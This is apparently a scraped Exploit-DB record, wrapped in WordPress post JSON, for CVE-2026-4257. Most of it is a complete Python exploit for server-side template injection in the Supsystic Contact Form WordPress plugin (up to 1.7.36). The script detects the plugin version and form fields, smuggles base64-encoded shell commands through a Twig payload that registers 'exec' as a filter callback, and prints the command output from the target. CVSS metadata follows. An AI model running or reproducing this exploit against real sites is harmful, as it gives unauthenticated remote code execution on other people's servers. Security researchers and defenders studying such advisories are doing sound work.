{“lastseen”:”2026-05-14T17:27:56″,”description”:”Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 – SSTI Date: 3\/30\/2026 Exploit Author: bootstrapbool Vendor Homepage: https:\/\/supsystic.com\/plugins\/contact-form-plugin\/ Software Link:…”,”published”:”2026-05-14T00:00:00″,”modified”:”2026-05-14T00:00:00″,”type”:”exploitdb”,”title”:”WordPress Plugin Supsystic Contact Form 1.7.36 – SSTI”,”source”:””,”references”:””,”id”:”EDB-ID:52564″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-4257″],”sourceData”:”# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 – SSTI\\r\\n# Date: 3\/30\/2026\\r\\n# Exploit Author: bootstrapbool\\r\\n# Vendor Homepage: https:\/\/supsystic.com\/plugins\/contact-form-plugin\/\\r\\n# Software Link: https:\/\/wordpress.org\/plugins\/contact-form-by-supsystic\/\\r\\n# Version: \\u003c= 1.7.36\\r\\n# Tested on: Ubuntu 24 and Windows 10\\r\\n# CVE : CVE-2026-4257\\r\\n\\r\\n\\r\\nimport argparse\\r\\nimport base64\\r\\nimport re\\r\\nimport requests\\r\\n\\r\\nclass status:\\r\\n OKGREEN = \\”\\\\033[32m\\”\\r\\n WARNING = \\”\\\\033[33m\\”\\r\\n FAIL = \\”\\\\033[31m\\”\\r\\n ENDC = \\”\\\\033[0m\\”\\r\\n NOCOLOR = False\\r\\n VERBOSE = False\\r\\n\\r\\n @classmethod\\r\\n def print(cls, message: str, status: str = None):\\r\\n\\r\\n if cls.NOCOLOR:\\r\\n print(message)\\r\\n return\\r\\n\\r\\n match status:\\r\\n case \\”FAIL\\”:\\r\\n print(f\\”{cls.FAIL}{message}{cls.ENDC}\\”)\\r\\n case \\”WARNING\\”:\\r\\n print(f\\”{cls.WARNING}{message}{cls.ENDC}\\”)\\r\\n case \\”SUCCESS\\”:\\r\\n print(f\\”{cls.OKGREEN}{message}{cls.ENDC}\\”)\\r\\n case _:\\r\\n print(message)\\r\\n\\r\\n @classmethod\\r\\n def vprint(cls, message: str, status: str = None):\\r\\n if cls.VERBOSE:\\r\\n cls.print(message, status)\\r\\n\\r\\ndef get_page(url: str) -\\u003e str:\\r\\n\\r\\n try:\\r\\n res = requests.get(url)\\r\\n res.raise_for_status()\\r\\n except requests.excpetions.RequestException as e:\\r\\n status.print(f\\”Request to {url} failed with {res.status_code}\\”)\\r\\n exit(1)\\r\\n\\r\\n if res.status_code != 200:\\r\\n status.print(f\\”Got {res.status_code} for request to: {url}\\”, \\”WARNING\\”)\\r\\n\\r\\n return res.text\\r\\n\\r\\ndef get_version(body: str) -\\u003e str | None:\\r\\n pattern = r’suptablesui.min.css\\\\?ver=([0-9\\\\.]+)’\\r\\n\\r\\n match = re.search(pattern, body)\\r\\n\\r\\n if match:\\r\\n return match.group(1)\\r\\n\\r\\ndef is_vulnerable(version: str) -\\u003e bool:\\r\\n\\r\\n try:\\r\\n major, minor, patch = map(int, version.split(\\”.\\”))\\r\\n return (major, minor, patch) \\u003c= (1, 7, 36)\\r\\n except:\\r\\n status.vprint(f\\”Failed to parse version.\\”, \\”WARNING\\”)\\r\\n\\r\\ndef detect_version(body: str):\\r\\n version = get_version(body)\\r\\n\\r\\n vulnerable = is_vulnerable(version)\\r\\n if vulnerable:\\r\\n status.vprint(f\\”Detected version {version} is vulnerable.\\”, \\”SUCCESS\\”)\\r\\n elif vulnerable != None:\\r\\n status.vprint(\\r\\n f\\”Detected version {version} is not vulnerable.\\”,\\r\\n \\”WARNING\\”)\\r\\n\\r\\ndef detect_fields(body: str) -\\u003e list[str] | None:\\r\\n \\”\\”\\”Automatically attempt to get Contact Form fields to use for SSTI\\”\\”\\”\\r\\n\\r\\n pattern = r’data-name=\\”([^\\”]+)\\”‘\\r\\n\\r\\n field_names = list(set(re.findall(pattern, body)))\\r\\n\\r\\n if field_names:\\r\\n status.print(f\\”Detected fields: {field_names}\\”, \\”SUCCESS\\”)\\r\\n return field_names\\r\\n\\r\\ndef handle_field(body: str, field: str | None) -\\u003e str:\\r\\n\\r\\n if field:\\r\\n return field\\r\\n\\r\\n fields = detect_fields(body)\\r\\n\\r\\n if fields is not None:\\r\\n status.vprint(f\\”Using automatically detected field: {fields[0]}\\”)\\r\\n\\r\\n return fields[0]\\r\\n\\r\\n status.print(\\”Failed to detect fields.\\”, \\”FAIL\\”)\\r\\n exit(1)\\r\\n\\r\\ndef get_output(field: str, body: str) -\\u003e str | None:\\r\\n\\r\\n pattern = rf’name=\\”fields\\\\[{re.escape(field)}\\\\]\\”\\\\s+value=\\”([^\\”]+)\\”‘\\r\\n match = re.search(pattern, body)\\r\\n\\r\\n if match:\\r\\n return match.group(1)\\r\\n\\r\\ndef exploit(url: str, payload: str, field: str) -\\u003e str | None:\\r\\n\\r\\n utf8_var = \\”{%set a%}UTF-8{%endset%}\\”\\r\\n base64_var = \\”{%set b%}BASE64{%endset%}\\”\\r\\n\\r\\n twig_payload = \\”{%set p%}\\” + base64.urlsafe_b64encode(payload.encode(‘utf-8’)).decode(‘utf-8’) + \\”{%endset%}\\”\\r\\n\\r\\n # The () ensures the variables are not treated as string literals\\r\\n twig_payload_decode = \\”{%set p = p|convert_encoding((a), (b))%}\\”\\r\\n\\r\\n register_callback = \\”{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}\\”\\r\\n\\r\\n exec_filter = \\”{{_self.env.getFilter(p)}}\\”\\r\\n\\r\\n ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter\\r\\n status.vprint(f\\”Payload: {payload}\\”)\\r\\n\\r\\n params = {\\r\\n \\”cfsPreFill\\”: 1,\\r\\n field: ssti_payload}\\r\\n\\r\\n try:\\r\\n res = requests.get(url, params)\\r\\n res.raise_for_status()\\r\\n except requests.excpetions.RequestException as e:\\r\\n status.print(f\\”Request to {url} failed with {res.status_code}\\”)\\r\\n exit(1)\\r\\n\\r\\n if res.status_code != 200:\\r\\n status.print(f\\”Got {res.status_code} for request to: {url}\\”, \\”WARNING\\”)\\r\\n\\r\\n return get_output(field, res.text)\\r\\n\\r\\ndef main():\\r\\n parser = argparse.ArgumentParser()\\r\\n parser.add_argument(\\r\\n \\”–field\\”,\\r\\n type = str,\\r\\n help = (\\”Valid field part of the Contact Form. The defaults are \\”\\r\\n + \\”first_name, last_name, subject, message, and email. Though it’s \\”\\r\\n + \\”possible for none of these fields to appear. Not all field types\\”\\r\\n + \\”work. The tested field types that are confirmed to work are\\”\\r\\n + \\”Text, Textarea, Number, Email, Time, and URL. Buttons do not \\”\\r\\n + \\”work.\\”))\\r\\n parser.add_argument(\\r\\n \\”–no-color\\”,\\r\\n action = \\”store_true\\”,\\r\\n help = \\”If you dont want pretty colors in your output.\\”)\\r\\n parser.add_argument(\\r\\n \\”–verbose\\”,\\r\\n \\”-v\\”,\\r\\n action = \\”store_true\\”)\\r\\n parser.add_argument(\\r\\n \\”url\\”,\\r\\n type = str,\\r\\n help = (\\”Full URL to page with vulnerable Contact Form component. \\” \\\\\\r\\n + \\”Ex: http:\/\/localhost:4444\/sample.php\\”))\\r\\n parser.add_argument(\\r\\n \\”payload\\”,\\r\\n type = str,\\r\\n default = None,\\r\\n help = (\\”Shell commands to be executed.\\”))\\r\\n\\r\\n args = parser.parse_args()\\r\\n\\r\\n status.NOCOLOR = args.no_color\\r\\n status.VERBOSE = args.verbose\\r\\n\\r\\n body = get_page(args.url)\\r\\n\\r\\n detect_version(body)\\r\\n field = handle_field(body, args.field)\\r\\n\\r\\n output = exploit(args.url, args.payload, field)\\r\\n\\r\\n if output:\\r\\n if output.lower() == field.lower():\\r\\n status.print(\\r\\n \\”Output is same as field. Maybe try a different field?\\”,\\r\\n \\”WARNING\\”)\\r\\n status.print(output)\\r\\n else:\\r\\n status.print(\\r\\n f\\”Failed to extract output with field ‘{field}’\\”,\\r\\n \\”FAIL\\”)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52564″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52564″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-14T17:27:56″,”description”:”Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 – SSTI Date: 3\/30\/2026 Exploit Author: bootstrapbool Vendor Homepage: https:\/\/supsystic.com\/plugins\/contact-form-plugin\/ Software Link:…”,”published”:”2026-05-14T00:00:00″,”modified”:”2026-05-14T00:00:00″,”type”:”exploitdb”,”title”:”WordPress Plugin Supsystic Contact Form 1.7.36…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-54575","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n